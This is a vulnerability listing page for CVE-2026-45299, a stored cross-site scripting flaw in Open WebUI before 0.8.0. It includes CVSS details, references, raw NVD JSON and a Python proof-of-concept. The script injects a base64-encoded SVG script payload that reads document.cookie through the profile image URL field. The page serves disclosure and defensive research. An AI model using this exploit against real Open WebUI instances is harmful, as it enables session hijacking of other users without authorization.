CVE-2026-45299

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, the profile_image_url field on the user profile update form accepted arbitrary data: URI values without MIME-type validation, resulting in a XSS vulnerability. This vulnerability is fixed in 0.8.0.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.8.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target API endpoint for updating user profile
target_url = "http://target-open-webui-instance.com/api/v1/user/update"

# Malicious payload using data URI with SVG containing JavaScript
# Base64 encoded: <svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg>
xss_payload = "data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoZG9jdW1lbnQuY29va2llKTwvc2NyaXB0Pjwvc3ZnPg=="

# Headers with authentication token (replace with valid token)
headers = {
    "Authorization": "Bearer <VALID_USER_TOKEN>",
    "Content-Type": "application/json"
}

# Data payload to update profile image
payload_data = {
    "profile_image_url": xss_payload
}

try:
    # Send the POST request to update the profile
    response = requests.post(target_url, json=payload_data, headers=headers)
    
    if response.status_code == 200:
        print("[+] Profile updated successfully. XSS Payload injected.")
        print("[+] Trigger the vulnerability by viewing the user profile.")
    else:
        print(f"[-] Failed to update profile. Status code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45299
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45299
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45299/
[4] VulDB https://vuldb.com/cve/CVE-2026-45299
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-6gh2-q7cp-9qf6

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45299", "sourceIdentifier": "[email protected]", "published": "2026-05-15T22:16:53.710", "lastModified": "2026-05-15T22:16:53.710", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, the profile_image_url field on the user profile update form accepted arbitrary data: URI values without MIME-type validation, resulting in a XSS vulnerability. This vulnerability is fixed in 0.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-6gh2-q7cp-9qf6", "source": "[email protected]"}]}}